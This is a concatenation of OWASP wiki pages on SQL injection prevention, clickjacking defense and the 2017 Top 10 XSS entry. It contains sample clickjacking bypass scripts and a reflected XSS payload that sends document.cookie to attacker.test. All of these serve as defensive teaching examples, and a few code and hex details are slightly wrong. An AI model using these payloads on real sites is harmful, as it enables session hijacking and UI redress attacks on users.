This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations.

This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.

This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.

* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.
* Directly [http://code.google.com/p/owasp-esapi-java/source/browse/#svn/trunk/src/main/java/org/owasp/esapi browse the source for ESAPI for Java 2.x (Legacy) at GitHub], which is frequently helpful if the javadoc isn't perfectly clear.
* Directly [[Https://github.com/ESAPI/esapi-java|browse browse the source for ESAPI for Java 3.x (Active) at GitHub]].

To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.

Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.

At this time, ESAPI currently has database encoders for:
* Oracle
* MySQL (Both ANSI and native modes are supported)

Database encoders are forthcoming for:
* SQL Server
* PostgreSQL

If your database encoder is missing, please let us know.

===Database Specific Escaping Details===

If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:
* Oracle
* SQL Server
* DB2

====Oracle Escaping====

This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

=====Escaping Dynamic Queries=====

To use an ESAPI database codec is pretty simple. An Oracle example looks something like:
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );

So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:

String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID")
+ "' and user_password = '" + req.getParameter("pwd") +"'";
try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

You would rewrite the first line to look like this:

'''Codec ORACLE_CODEC = new OracleCodec();'''
String query = "SELECT user_id FROM user_data WHERE user_name = '" +
'''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID"))''' + "' and user_password = '"
+ '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd"))''' +"'";

And it would now be safe from SQL injection, regardless of the input supplied.

For maximum code readability, you could also construct your own OracleEncoder.

Encoder oe = new OracleEncoder();
String query = "SELECT user_id FROM user_data WHERE user_name = '"
+ '''oe.encode( req.getParameter("userID"))''' + "' and user_password = '"
+ '''oe.encode( req.getParameter("pwd"))''' +"'";

With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.

=====Turn off character replacement=====

Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the & character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.

See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information

=====Escaping Wildcard characters in Like Clauses=====

The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:

SELECT name FROM emp
WHERE id LIKE '%/_%' ESCAPE '/';

SELECT name FROM emp
WHERE id LIKE '%\%%' ESCAPE '\';

=====Oracle 10g escaping=====

<nowiki>An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.</nowiki>

====MySQL Escaping====

MySQL supports two escaping modes:

# ANSI_QUOTES SQL mode, and a mode with this off, which we call
# MySQL mode.

ANSI SQL mode: Simply encode all ' (single tick) characters with '' (two single ticks)

MySQL mode, do the following:

NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \Z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric character.

This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

====SQL Server Escaping====

We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx

====DB2 Escaping====
This information is based on DB2 WebQuery special characters found here: https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983
as well as some information from Oracle's JDBC DB2 driver found here:
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html

Information in regards to differences between several DB2 Universal drivers can be found here: http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm

===Hex-encoding all input===

A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character). The web application should hex-encode the user input before including it in the SQL statement. The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:

SELECT ... FROM session
WHERE hex_encode (sessionID) = '616263313233'

(hex_encode should be replaced by the particular facility for the database being used.) The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).

If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:

WHERE hex_encode ( ... ) = '2720 ... '

27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string. The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.

===Escaping SQLi in PHP===

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

 You basically have two options to achieve this: 

1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):
<pre>
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');

$stmt->execute(array('name' => $name));

foreach ($stmt as $row) {
// do something with $row
}
</pre>
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):
<pre>
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
</pre>
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).

= Additional Defenses =

Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:

* '''Least Privilege'''
* '''White List Input Validation'''

== Least Privilege ==

To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.

If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.

SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.

While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.

=== Multiple DB Users ===

The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.

As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.

=== Views ===

You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords. The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself. Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.

== White List Input Validation ==

In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.
 

=Related Articles=

'''SQL Injection Attack Cheat Sheets'''

The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:

* "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* "Bypassing WAF's with SQLi" - [[SQL Injection Bypassing WAF]]

'''Description of SQL Injection Vulnerabilities'''

* OWASP article on [[SQL Injection]] Vulnerabilities
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities

'''How to Avoid SQL Injection Vulnerabilities'''

* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]
* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]

'''How to Review Code for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities

'''How to Test for SQL Injection Vulnerabilities'''

* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities

 

= Authors and Primary Editors =

[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org 
[[User:jmanico|Jim Manico]] - jim[at]owasp.org 
Matt Seil - mseil[at]acm.org 
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org

= Other Cheatsheets =

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

Talk:Benchmark

2017-07-17T12:37:03Z

Eelgheez: Clean up and agree

Clickjacking Defense Cheat Sheet

2017-06-02T16:49:27Z

Eelgheez: /* Best-for-now Legacy Browser Frame Breaking Script */ bring a backup copy instead of the site failure

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>
 Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This cheat sheet is focused on providing developer guidance on [[Clickjacking|Clickjack/UI Redress]] attack prevention.

The most popular way to defend against Clickjacking is to include some sort of "frame-breaking" functionality which prevents other web pages from framing the site you wish to defend. This cheat sheet will discuss two methods of implementing frame-breaking: first is X-Frame-Options headers (used if the browser supports the functionality); and second is javascript frame-breaking code.

= Defending with Content Security Policy frame-ancestors directive =
The frame-ancestors directive can be used in a Content-Security-Policy HTTP response header to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites.

frame-ancestors allows a site to authorize multiple domains using the normal Content Security Policy semantics.

See https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors for further details

=== Limitations ===
* '''Browser support:''' frame-ancestors is not supported by all the major browsers yet.
* '''X-Frame-Options takes priority:''' [https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options Section 7.7.1 of the CSP Spec] says X-Frame-Options should be ignored if frame-ancestors is specified, but Chrome 40 & Firefox 35 ignore the frame-ancestors directive and follow the X-Frame-Options header instead.

= Defending with X-Frame-Options Response Headers =

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites. Set the X-Frame-Options header for all responses containing HTML content. The possible values are "DENY", "SAMEORIGIN", or "ALLOW-FROM uri"

=== X-Frame-Options Header Types ===

There are three possible values for the X-Frame-Options header:
* DENY, which prevents any domain from framing the content. The "DENY" setting is recommended unless a specific need has been identified for framing.
* SAMEORIGIN, which only allows the current site to frame the content.
* ALLOW-FROM uri, which permits the specified 'uri' to frame this page. (e.g., ALLOW-FROM http://www.example.com) '''Check Limitations Below''' this will fail open if the browser does not support it. Other browsers support the new [[Content_Security_Policy_Cheat_Sheet#Preventing_Clickjacking|CSP frame-ancestors directive]] instead. A few support both.

=== Browser Support ===

The following browsers support X-Frame-Options headers.

<table border="1">
<tr> <th>Browser</th> <th>DENY/SAMEORIGIN Support Introduced</th> <th>ALLOW-FROM Support Introduced</th></tr>
<tr> <td>Chrome</td> <td>[http://blog.chromium.org/2010/01/security-in-depth-new-security-features.html 4.1.249.1042]</td>
<td>[https://code.google.com/p/chromium/issues/detail?id=129139 Won't support] - [[Content_Security_Policy_Cheat_Sheet#Preventing_Clickjacking|Supports CSP frame-ancestors instead]]</td> </tr>
<tr> <td>Firefox (Gecko)</td> <td>[https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options?redirectlocale=en-US&redirectslug=The_X-FRAME-OPTIONS_response_header 3.6.9 (1.9.2.9)]</td> <td>[https://bugzilla.mozilla.org/show_bug.cgi?id=690168 18.0]</td></tr>
<tr> <td>Internet Explorer</td> <td>[http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx 8.0]</td> <td>[http://erlend.oftedal.no/blog/tools/xframeoptions/ 9.0]</td> </tr>
<tr> <td>Opera</td> <td>[http://www.opera.com/docs/specs/presto26/#network 10.50]</td> <td></td> </tr>
<tr> <td>Safari</td> <td>[http://www.zdnet.com/blog/security/apple-safari-jumbo-patch-50-vulnerabilities-fixed/3541 4.0]</td><td>[https://bugs.webkit.org/show_bug.cgi?id=94836 Won't support] - [[Content_Security_Policy_Cheat_Sheet#Preventing_Clickjacking|Supports CSP frame-ancestors instead]]</td> </tr>
</table>

References:
* [https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options Mozilla Developer Network] 
* [http://datatracker.ietf.org/doc/draft-ietf-websec-x-frame-options/ IETF Draft]
* [http://erlend.oftedal.no/blog/tools/xframeoptions/ X-Frame-Options Compatibility Test] - Check this for the LATEST browser support info for the X-Frame-Options header

=== Implementation ===

To implement this protection, you need to add the X-Frame-Options HTTP Response header to any page that you want to protect from being clickjacked via framebusting. One way to do this is to add the HTTP Response Header manually to every page. A possibly simpler way is to implement a filter that automatically adds the header to every page.

OWASP has an [[ClickjackFilter for Java EE|article and some code]] that provides all the details for implementing this in a Java EE environment.

The SDL blog has posted an [http://blogs.msdn.com/sdl/archive/2009/02/05/clickjacking-defense-in-ie8.aspx article] covering how to implement this in a .NET environment.

=== Common Defense Mistakes ===
Meta-tags that attempt to apply the X-Frame-Options directive DO NOT WORK. For example, <meta http-equiv="X-Frame-Options" content="deny">) will not work. You must apply the X-FRAME-OPTIONS directive as HTTP Response Header as described above.

=== Limitations ===

* '''Per-page policy specification''' The policy needs to be specified for every page, which can complicate deployment. Providing the ability to enforce it for the entire site, at login time for instance, could simplify adoption.
* '''Problems with multi-domain sites''' The current implementation does not allow the webmaster to provide a whitelist of domains that are allowed to frame the page. While whitelisting can be dangerous, in some cases a webmaster might have no choice but to use more than one hostname.
* '''ALLOW-FROM browser support''' The ALLOW-FROM option is a relatively recent addition (circa 2012) and may not be supported by all browsers yet. BE CAREFUL ABOUT DEPENDING ON ALLOW-FROM. If you apply it and the browser does not support it, then you will have NO clickjacking defense in place.
* '''Multiple options not supported''' There is no way to allow the current site and a 3rd party site to frame the same response -- browsers only honour one X-Frame-Options header and only one value on that header.
* '''Nested Frames don't work with SAMEORIGIN and ALLOW-FROM''' In the following situation, the http://framed.invalid/child frame does not load because ALLOW-FROM applies to the top-level browsing context, not that of the immediate parent. The solution is to use ALLOW-FROM in both the parent and child frames (but this prevents the child frame loading if the //framed.invalid/parent page is loaded as the top level document).
+-//friendlysite.invalid-----------------------+
| |
| +-//framed.invalid/parent------------------+ |
| | | |
| | ALLOW-FROM http://friendlysite.invalid | |
| | | |
| | +-//framed.invalid/child--------+ | |
| | | | | |
| | | SAMEORIGIN | | |
| | | | | |
| | +-------------------------------+ | |
| +------------------------------------------+ |
+----------------------------------------------+
* '''X-Frame-Options Deprecated''' While the X-Frame-Options header is supported by the major browsers, it was never standardized and has been deprecated in favour of the frame-ancestors directive from the CSP Level 2 specification.
* '''Proxies''' Web proxies are notorious for adding and stripping headers. If a web proxy strips the X-Frame-Options header then the site loses its framing protection.

= Best-for-now Legacy Browser Frame Breaking Script =

One way to defend against clickjacking is to include a "frame-breaker" script
in each page that should not be framed. The following methodology will prevent
a webpage from being framed even in legacy browsers, that do not support the
X-Frame-Options-Header.

In the document HEAD element, add the following:

First apply an ID to the style element itself:

<style id="antiClickjack">body{display:none !important;}</style>

And then delete that style by its ID immediately after in the script:

<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementById("antiClickjack");
antiClickjack.parentNode.removeChild(antiClickjack);
} else {
top.location = self.location;
}
</script>

This way, everything can be in the document HEAD and you only need one method/taglib in your API.

Reference: [http://web.archive.org/web/20170430064506/https://www.codemagi.com/blog/post/194 https://www.codemagi.com/blog/post/194]

= window.confirm() Protection =
The use of x-frame-options or a frame-breaking script is a more fail-safe method of clickjacking protection. However, in scenarios where content must be frameable, then a window.confirm() can be used to help mitigate Clickjacking by informing the user of the action they are about to perform.

Invoking window.confirm() will display a popup that cannot be framed. If the window.confirm() originates from within an iframe with a different domain than the parent, then the dialog box will display what domain the window.confirm() originated from. In this scenario the browser is displaying the origin of the dialog box to help mitigate Clickjacking attacks. It should be noted that Internet Explorer is the only known browser that does not display the domain that the window.confirm() dialog box originated from, to address this issue with Internet Explorer insure that the message within the dialog box contains contextual information about the type of action being performed. For example:

<script type="text/javascript">
var action_confirm = window.confirm("Are you sure you want to delete your youtube account?")
if (action_confirm) {
//... perform action
} else {
//... The user does not want to perform the requested action.
}
</script>

= Insecure Non-Working Scripts DO NOT USE =
Consider the following snippet which is '''NOT recommended''' for defending
against clickjacking:

<pre><script>if (top!=self) top.location.href=self.location.href</script></pre>

This simple frame breaking script attempts to prevent the page from being incorporated into a frame or iframe by forcing the parent window to load the current frame's URL. Unfortunately, multiple ways of defeating this type of script have been made public. We outline some here.

== Double Framing ==
Some frame busting techniques navigate to the correct page by assigning a value to parent.location. This works well if the victim page is framed by a single page. However, if the attacker encloses the victim in one frame inside another (a double frame), then accessing parent.location becomes a security violation in all popular browsers, due to the '''descendant frame navigation policy'''. This security violation disables the counter-action navigation.

'''Victim frame busting code:'''
<pre>
if(top.location!=self.locaton) {
parent.location = self.location;
}
</pre>

'''Attacker top frame:'''
<pre>
<iframe src="attacker2.html">
</pre>

'''Attacker sub-frame:'''
<pre>
<iframe src="http://www.victim.com">
</pre>

== The onBeforeUnload Event ==
A user can manually cancel any navigation request submitted by a framed page. To exploit this, the framing page registers an onBeforeUnload handler which is called whenever the framing page is about to be unloaded due to navigation. The handler function returns a string that becomes part of a prompt displayed to the user. Say the attacker wants to frame PayPal. He registers an unload handler function that returns the string "Do you want to exit PayPal?". When this string is displayed to the user is likely to cancel the navigation, defeating PayPal's frame busting attempt.

The attacker mounts this attack by registering an unload event on the top page using the
following code:
<pre>
<script>
window.onbeforeunload = function()
{
return "Asking the user nicely";
}
</script>
<iframe src="http://www.paypal.com">
</pre>
PayPal's frame busting code will generate a BeforeUnload event activating our function and prompting the user to cancel the navigation event.

== No-Content Flushing ==
While the previous attack requires user interaction, the same attack can be done without prompting the user. Most browsers (IE7, IE8, Google Chrome, and Firefox) enable an attacker to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting a navigation request to a site responding with \204 - No Content." Navigating to a No Content site is effectively a NOP, but flushes the request pipeline, thus canceling the original navigation request. Here is sample code to do this:

<pre>
var preventbust = 0
window.onbeforeunload = function() { killbust++ }
setInterval( function() {
if(killbust > 0){
killbust = 2;
window.top.location = 'http://nocontent204.com'
}
}, 1);
<iframe src="http://www.victim.com">
</pre>

== Exploiting XSS filters ==
IE8 and Google Chrome introduced reflective XSS filters that help protect web pages from certain types of XSS attacks. Nava and Lindsay (at Blackhat) observed that these filters can be used to circumvent frame busting code. The IE8 XSS filter compares given request parameters to a set of regular expressions in order to look for obvious attempts at cross-site scripting. Using "induced false positives", the filter can be used to disable selected scripts. By matching the beginning of any script tag in the request parameters, the XSS filter will disable all inline scripts within the page, including frame busting scripts. External scripts can also be targeted by matching an external include, effectively disabling all external scripts. Since subsets of the JavaScript loaded is still functional (inline or external) and cookies are still available, this attack is effective for clickjacking.

'''Victim frame busting code:'''
<pre>
<script>
if(top != self) {
top.location = self.location;
}
</script>
</pre>

'''Attacker:'''
<pre>
<iframe src="http://www.victim.com/?v=<script>if''>
</pre>

The XSS filter will match that parameter "<script>if" to the beginning of the frame busting script on the victim and will consequently disable all inline scripts in the victim's page, including the frame busting script. The XSSAuditor filter available for Google Chrome enables the same exploit.

== Clobbering top.location ==
Several modern browsers treat the location variable as a special immutable attribute across all contexts. However, this is not the case in IE7 and Safari 4.0.4 where the location variable can be redefined.

'''IE7'''
Once the framing page redefines location, any frame busting code in a subframe that tries to read top.location will commit a security violation by trying to read a local variable in another domain. Similarly, any attempt to navigate by assigning top.location will fail.

'''Victim frame busting code:'''

<pre>
if(top.location != self.location) {
top.location = self.location;
}
</pre>

'''Attacker:'''

<pre>
<script> var location = "clobbered";
</script>
<iframe src="http://www.victim.com">
</iframe>
</pre>

'''Safari 4.0.4'''

We observed that although location is kept immutable in most circumstances, when a custom location setter is defined via defineSetter (through window) the object location becomes undefined. The framing page simply does:
<pre>
<script>
window.defineSetter("location" , function(){});
</script>
</pre>
Now any attempt to read or navigate the top frame's location will fail.

== Restricted zones ==

Most frame busting relies on JavaScript in the framed page to detect framing and bust itself out. If JavaScript is disabled in the context of the subframe, the frame busting code will not run. There are unfortunately several ways of restricting JavaScript in a subframe:

* '''In IE 8:''' <pre><iframe src="http://www.victim.com" security="restricted"></iframe></pre>
* '''In Chrome:''' <pre><iframe src="http://www.victim.com" sandbox></iframe></pre>
*''' In Firefox and IE:''' Activate designMode in parent page.

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

[[Category:Cheatsheets]]

Top 10-2017 A7-Cross-Site Scripting (XSS)

2017-06-01T13:53:29Z

Eelgheez: Correct the abuse scenario. Change the style from prescriptive to descriptive to sustain the Burden of Proof.

{{Top_10_2013:TopTemplate
|usenext=2013NextLink
|next=A4-{{Top_10_2010:ByTheNumbers
|4
|year=2017
|language=en}}
|useprev=2013PrevLink
|prev=A2-{{Top_10_2010:ByTheNumbers
|2
|year=2017
|language=en}}
|year=2017
|language=en
}}

{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
</td>

<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
[[Cross-site_Scripting_(XSS) | XSS]] flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]] and (2) [[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]], and each of these can occur on the a) [[Types_of_Cross-Site_Scripting#Server_XSS | Server ]] or b) on the [[Types_of_Cross-Site_Scripting#Client_XSS | Client]]. Detection of most [[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]] flaws is fairly easy via testing or code analysis. [[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]] is very difficult to identify.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
</td>
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

</td>
{{Top_10_2010:SummaryTableEndTemplate}}

{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}
An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser. In addition, a vulnerable application could fail to white-list potentially malicious data sources such as <code>window.name</code>, <code>document.referer</code> before passing them to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]] such as <code>window.eval()</code>, <code>window.setTimeout()</code>, <code>document.write()</code>, <code>new Function()</code>.

Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight. The scripts sent to the browser may rely on additional script libraries. Single-page applications may process input on the client side and generate requests to the server independently from user actions. This diversity makes discovering all possible HTTP requests difficult. Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser. Static and "interactive" analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}
Preventing XSS requires separation of untrusted data from active browser content.
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve [[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]] vulnerabilities. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]] has details on the required data escaping techniques.
# Applying context sensitive encoding when modifying the browser document on the client side acts against [[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]. Details specific to client-side input processing reside in [[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]].
# Enabling a [https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)] and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}
The application generating response in <code><nowiki>https://target.test/dashboard</nowiki></code> uses untrusted data in the construction of the following HTML snippet without validation or escaping:

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
{{Top_10_2010:ExampleEndTemplate}}

The attacker manipulates the `CC' parameter to the following value

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
'><script>document.location='<nowiki>http://attacker.test/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p='
{{Top_10_2010:ExampleEndTemplate}}

in the query string and sends the resulting link <code><nowiki>https://target.test/dashboard?CC=...</nowiki></code> with the malicious value to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link. The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.

{{Top_10_2010:ExampleBeginTemplate|year=2017}}
<input name='creditcard' type='TEXT' value=''><script>document.location='<nowiki>http://attacker.test/log?</nowiki>cookies='+encodeURIComponent(document.cookie)</script><foobar p=''>
{{Top_10_2010:ExampleEndTemplate}}

